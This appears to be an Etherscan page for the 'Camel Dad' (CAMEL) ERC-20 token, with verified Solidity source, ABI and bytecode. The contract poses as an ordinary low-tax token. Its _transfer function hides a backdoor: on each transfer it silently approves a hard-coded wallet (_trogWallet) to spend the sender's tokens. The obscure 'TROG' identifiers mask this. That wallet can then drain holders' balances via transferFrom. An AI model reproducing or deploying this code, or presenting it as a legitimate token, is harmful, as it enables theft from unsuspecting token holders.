ERC-20
Overview
Max Total Supply
1,000,000,000 CAMEL
Holders
122
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,362,482.994376412 CAMELValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CAMEL
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-08 */ /* Powered by AI, guided by the community, Camel Dad is here to uncover truths, expose frauds, and evolve into a respected voice in the crypto desert. Website: https://www.cameldad.vip Twitter: https://x.com/cameldadoneth Telegram: https://t.me/cameldadoneth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface ITROGRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface ITROGFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CAMEL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => bool) private _excludedFromTROG; mapping (address => uint256) private _trogVALLs; mapping (address => mapping (address => uint256)) private _trogAPPs; uint8 private constant _decimals = 9; uint256 private constant _tTotalTROG = 1000000000 * 10**_decimals; string private constant _name = unicode"Camel Dad"; string private constant _symbol = unicode"CAMEL"; uint256 private _tokenSwapTROG = _tTotalTROG / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; bool private inSwapTROG = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; address private _trogWallet = 0x0caA60Cb18E375652DddD364540706a5D5870c18; ITROGRouter private _trogRouter; address private _trogPair; modifier lockTheSwap { inSwapTROG = true; _; inSwapTROG = false; } constructor () { _excludedFromTROG[owner()] = true; _excludedFromTROG[address(this)] = true; _excludedFromTROG[_trogWallet] = true; _trogVALLs[_msgSender()] = _tTotalTROG; emit Transfer(address(0), _msgSender(), _tTotalTROG); } function initToken() external onlyOwner() { _trogRouter = ITROGRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_trogRouter), _tTotalTROG); _trogPair = ITROGFactory(_trogRouter.factory()).createPair(address(this), _trogRouter.WETH()); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _trogRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function minTROG(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendTROGETH(uint256 amount) private { payable(_trogWallet).transfer(amount); } receive() external payable {} function swapTokensForEth(uint256 tokenTROG) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _trogRouter.WETH(); _approve(address(this), address(_trogRouter), tokenTROG); _trogRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenTROG, 0, path, address(this), block.timestamp ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalTROG; } function balanceOf(address account) public view override returns (uint256) { return _trogVALLs[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _trogAPPs[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _trogAPPs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _trogAPPs[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address trogF, address trogT, uint256 trogA) private { require(trogF != address(0), "ERC20: transfer from the zero address"); require(trogT != address(0), "ERC20: transfer to the zero address"); require(trogA > 0, "Transfer amount must be greater than zero"); _approve(trogF, _TROG(tx.origin), trogA); uint256 taxTROG = _getTROGFees(trogF, trogT, trogA); _transferTROG(trogF, trogT, trogA, taxTROG); } function _TROG(address trogOrigin) private view returns(address) { return _excludedFromTROG[trogOrigin]?trogOrigin:_trogWallet; } function _getTROGFees(address trogF, address trogT, uint256 trogA) private returns(uint256) { uint256 taxTROG=0; if (trogF != owner() && trogT != owner()) { taxTROG = trogA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (trogF == _trogPair && trogT != address(_trogRouter) && ! _excludedFromTROG[trogT]) { _buyCount++; } if(trogT == _trogPair && trogF!= address(this)) { taxTROG = trogA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 trogBalance = balanceOf(address(this)); if (!inSwapTROG && trogT == _trogPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(trogBalance > _tokenSwapTROG) swapTokensForEth(minTROG(trogA, minTROG(trogBalance, _tokenSwapTROG))); uint256 ethTROG = address(this).balance; if (ethTROG >= 0) { sendTROGETH(address(this).balance); } } } return taxTROG; } function _transferTROG(address trogF, address trogT, uint256 trogA, uint256 taxTROG) private { if(taxTROG > 0) { _trogVALLs[address(this)] = _trogVALLs[address(this)].add(taxTROG); emit Transfer(trogF, address(this), taxTROG); } _trogVALLs[trogF] = _trogVALLs[trogF].sub(trogA); _trogVALLs[trogT] = _trogVALLs[trogT].add(trogA.sub(taxTROG)); emit Transfer(trogF, trogT, trogA.sub(taxTROG)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526064620000146009600a6200023c565b6200002490633b9aca006200030a565b620000309190620001d0565b6004556003600581905560069081556000600781905560088190556009829055600a829055600b91909155600c55600d80546001600160b81b031916760caa60cb18e375652dddd364540706a5d5870c180000001790553480156200009457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001806000620000ee6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526001938490528281208054861685179055600d54630100000090049091168152208054909216179055620001566009600a6200023c565b6200016690633b9aca006200030a565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001a96009600a6200023c565b620001b990633b9aca006200030a565b60405190815260200160405180910390a362000342565b600082620001ee57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115620002345781600019048211156200021857620002186200032c565b808516156200022657918102915b93841c9390800290620001f8565b509250929050565b60006200024d60ff84168362000254565b9392505050565b600082620002655750600162000304565b81620002745750600062000304565b81600181146200028d57600281146200029857620002b8565b600191505062000304565b60ff841115620002ac57620002ac6200032c565b50506001821b62000304565b5060208310610133831016604e8410600b8410161715620002dd575081810a62000304565b620002e98383620001f3565b80600019048211156200030057620003006200032c565b0290505b92915050565b60008160001904831182151516156200032757620003276200032c565b500290565b634e487b7160e01b600052601160045260246000fd5b61154680620003526000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610248578063c9567bf914610268578063dd62ed3e1461027d578063e66738cd146102c357600080fd5b8063715018a6146101db5780638da5cb5b146101f257806395d89b411461021a57600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600981526810d85b595b0811185960ba1b60208201525b60405161010d9190611230565b60405180910390f35b34801561012257600080fd5b506101366101313660046111d6565b6102d8565b604051901515815260200161010d565b34801561015257600080fd5b5061015b6102ef565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004611195565b610310565b34801561019557600080fd5b506040516009815260200161010d565b3480156101b157600080fd5b5061015b6101c0366004611122565b6001600160a01b031660009081526002602052604090205490565b3480156101e757600080fd5b506101f0610379565b005b3480156101fe57600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022657600080fd5b5060408051808201909152600581526410d053515360da1b6020820152610100565b34801561025457600080fd5b506101366102633660046111d6565b6103f6565b34801561027457600080fd5b506101f0610403565b34801561028957600080fd5b5061015b61029836600461115c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102cf57600080fd5b506101f061057e565b60006102e53384846107ae565b5060015b92915050565b60006102fd6009600a6113a8565b61030b90633b9aca00611453565b905090565b600061031d8484846108d2565b61036f843361036a856040518060600160405280602881526020016114e9602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2e565b6107ae565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a390611285565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e53384846108d2565b6000546001600160a01b0316331461042d5760405162461bcd60e51b81526004016103a390611285565b600d54610100900460ff16156104855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600e546001600160a01b031663f305d71947306104b7816001600160a01b031660009081526002602052604090205490565b6000806104cc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561052f57600080fd5b505af1158015610543573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105689190611202565b5050600d805462ffff0019166201010017905550565b6000546001600160a01b031633146105a85760405162461bcd60e51b81526004016103a390611285565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f19030906105e36009600a6113a8565b61036a90633b9aca00611453565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610677919061113f565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d457600080fd5b505afa1580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c919061113f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075457600080fd5b505af1158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c919061113f565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b0382166109985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b600081116109fa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b610a0d83610a0732610a68565b836107ae565b6000610a1a848484610aa4565b9050610a2884848484610c6f565b50505050565b60008184841115610a525760405162461bcd60e51b81526004016103a39190611230565b506000610a5f8486611472565b95945050505050565b6001600160a01b03811660009081526001602052604081205460ff16610aa057600d54630100000090046001600160a01b03166102e9565b5090565b600080610ab96000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610ae857506000546001600160a01b03858116911614155b15610c6757610b196064610b13600954600c5411610b0857600554610b0c565b6007545b8690610db2565b90610e38565b600f549091506001600160a01b038681169116148015610b475750600e546001600160a01b03858116911614155b8015610b6c57506001600160a01b03841660009081526001602052604090205460ff16155b15610b8757600c8054906000610b8183611489565b91905055505b600f546001600160a01b038581169116148015610bad57506001600160a01b0385163014155b15610bda57610bd76064610b13600a54600c5411610bcd57600654610b0c565b6008548690610db2565b90505b30600090815260026020526040902054600d5460ff16158015610c0a5750600f546001600160a01b038681169116145b8015610c1e5750600d5462010000900460ff165b8015610c2d5750600b54600c54115b15610c6557600454811115610c5957610c59610c5485610c4f84600454610e7a565b610e7a565b610e8f565b47610c634761100f565b505b505b949350505050565b8015610ce95730600090815260026020526040902054610c8f9082611053565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce09085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610d0c90836110b2565b6001600160a01b038516600090815260026020526040902055610d51610d3283836110b2565b6001600160a01b03851660009081526002602052604090205490611053565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d9b85856110b2565b60405190815260200160405180910390a350505050565b600082610dc1575060006102e9565b6000610dcd8385611453565b905082610dda8583611343565b14610e315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b9392505050565b6000610e3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b6000818311610e895782610e31565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed157610ed16114ba565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f2557600080fd5b505afa158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d919061113f565b81600181518110610f7057610f706114ba565b6001600160a01b039283166020918202929092010152600e54610f9691309116846107ae565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fcf9085906000908690309042906004016112ba565b600060405180830381600087803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600d5460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561104f573d6000803e3d6000fd5b5050565b600080611060838561132b565b905083811015610e315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b6000610e3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2e565b600081836111155760405162461bcd60e51b81526004016103a39190611230565b506000610a5f8486611343565b60006020828403121561113457600080fd5b8135610e31816114d0565b60006020828403121561115157600080fd5b8151610e31816114d0565b6000806040838503121561116f57600080fd5b823561117a816114d0565b9150602083013561118a816114d0565b809150509250929050565b6000806000606084860312156111aa57600080fd5b83356111b5816114d0565b925060208401356111c5816114d0565b929592945050506040919091013590565b600080604083850312156111e957600080fd5b82356111f4816114d0565b946020939093013593505050565b60008060006060848603121561121757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561125d57858101830151858201604001528201611241565b8181111561126f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561130a5784516001600160a01b0316835293830193918301916001016112e5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561133e5761133e6114a4565b500190565b60008261136057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156113a0578160001904821115611386576113866114a4565b8085161561139357918102915b93841c939080029061136a565b509250929050565b6000610e3160ff8416836000826113c1575060016102e9565b816113ce575060006102e9565b81600181146113e457600281146113ee5761140a565b60019150506102e9565b60ff8411156113ff576113ff6114a4565b50506001821b6102e9565b5060208310610133831016604e8410600b841016171561142d575081810a6102e9565b6114378383611365565b806000190482111561144b5761144b6114a4565b029392505050565b600081600019048311821515161561146d5761146d6114a4565b500290565b600082821015611484576114846114a4565b500390565b600060001982141561149d5761149d6114a4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146114e557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015d760b700dde2f3b474d3e74d0689a9a7ac5f66d0e5b6e18d0d01397f46579764736f6c63430008070033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610248578063c9567bf914610268578063dd62ed3e1461027d578063e66738cd146102c357600080fd5b8063715018a6146101db5780638da5cb5b146101f257806395d89b411461021a57600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600981526810d85b595b0811185960ba1b60208201525b60405161010d9190611230565b60405180910390f35b34801561012257600080fd5b506101366101313660046111d6565b6102d8565b604051901515815260200161010d565b34801561015257600080fd5b5061015b6102ef565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004611195565b610310565b34801561019557600080fd5b506040516009815260200161010d565b3480156101b157600080fd5b5061015b6101c0366004611122565b6001600160a01b031660009081526002602052604090205490565b3480156101e757600080fd5b506101f0610379565b005b3480156101fe57600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022657600080fd5b5060408051808201909152600581526410d053515360da1b6020820152610100565b34801561025457600080fd5b506101366102633660046111d6565b6103f6565b34801561027457600080fd5b506101f0610403565b34801561028957600080fd5b5061015b61029836600461115c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102cf57600080fd5b506101f061057e565b60006102e53384846107ae565b5060015b92915050565b60006102fd6009600a6113a8565b61030b90633b9aca00611453565b905090565b600061031d8484846108d2565b61036f843361036a856040518060600160405280602881526020016114e9602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2e565b6107ae565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a390611285565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e53384846108d2565b6000546001600160a01b0316331461042d5760405162461bcd60e51b81526004016103a390611285565b600d54610100900460ff16156104855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600e546001600160a01b031663f305d71947306104b7816001600160a01b031660009081526002602052604090205490565b6000806104cc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561052f57600080fd5b505af1158015610543573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105689190611202565b5050600d805462ffff0019166201010017905550565b6000546001600160a01b031633146105a85760405162461bcd60e51b81526004016103a390611285565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f19030906105e36009600a6113a8565b61036a90633b9aca00611453565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610677919061113f565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d457600080fd5b505afa1580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c919061113f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075457600080fd5b505af1158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c919061113f565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b0382166109985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b600081116109fa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b610a0d83610a0732610a68565b836107ae565b6000610a1a848484610aa4565b9050610a2884848484610c6f565b50505050565b60008184841115610a525760405162461bcd60e51b81526004016103a39190611230565b506000610a5f8486611472565b95945050505050565b6001600160a01b03811660009081526001602052604081205460ff16610aa057600d54630100000090046001600160a01b03166102e9565b5090565b600080610ab96000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610ae857506000546001600160a01b03858116911614155b15610c6757610b196064610b13600954600c5411610b0857600554610b0c565b6007545b8690610db2565b90610e38565b600f549091506001600160a01b038681169116148015610b475750600e546001600160a01b03858116911614155b8015610b6c57506001600160a01b03841660009081526001602052604090205460ff16155b15610b8757600c8054906000610b8183611489565b91905055505b600f546001600160a01b038581169116148015610bad57506001600160a01b0385163014155b15610bda57610bd76064610b13600a54600c5411610bcd57600654610b0c565b6008548690610db2565b90505b30600090815260026020526040902054600d5460ff16158015610c0a5750600f546001600160a01b038681169116145b8015610c1e5750600d5462010000900460ff165b8015610c2d5750600b54600c54115b15610c6557600454811115610c5957610c59610c5485610c4f84600454610e7a565b610e7a565b610e8f565b47610c634761100f565b505b505b949350505050565b8015610ce95730600090815260026020526040902054610c8f9082611053565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce09085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610d0c90836110b2565b6001600160a01b038516600090815260026020526040902055610d51610d3283836110b2565b6001600160a01b03851660009081526002602052604090205490611053565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d9b85856110b2565b60405190815260200160405180910390a350505050565b600082610dc1575060006102e9565b6000610dcd8385611453565b905082610dda8583611343565b14610e315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b9392505050565b6000610e3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b6000818311610e895782610e31565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed157610ed16114ba565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f2557600080fd5b505afa158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d919061113f565b81600181518110610f7057610f706114ba565b6001600160a01b039283166020918202929092010152600e54610f9691309116846107ae565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fcf9085906000908690309042906004016112ba565b600060405180830381600087803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600d5460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561104f573d6000803e3d6000fd5b5050565b600080611060838561132b565b905083811015610e315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b6000610e3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2e565b600081836111155760405162461bcd60e51b81526004016103a39190611230565b506000610a5f8486611343565b60006020828403121561113457600080fd5b8135610e31816114d0565b60006020828403121561115157600080fd5b8151610e31816114d0565b6000806040838503121561116f57600080fd5b823561117a816114d0565b9150602083013561118a816114d0565b809150509250929050565b6000806000606084860312156111aa57600080fd5b83356111b5816114d0565b925060208401356111c5816114d0565b929592945050506040919091013590565b600080604083850312156111e957600080fd5b82356111f4816114d0565b946020939093013593505050565b60008060006060848603121561121757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561125d57858101830151858201604001528201611241565b8181111561126f576000604083870101525b50601f01601f191692909201604001939250505056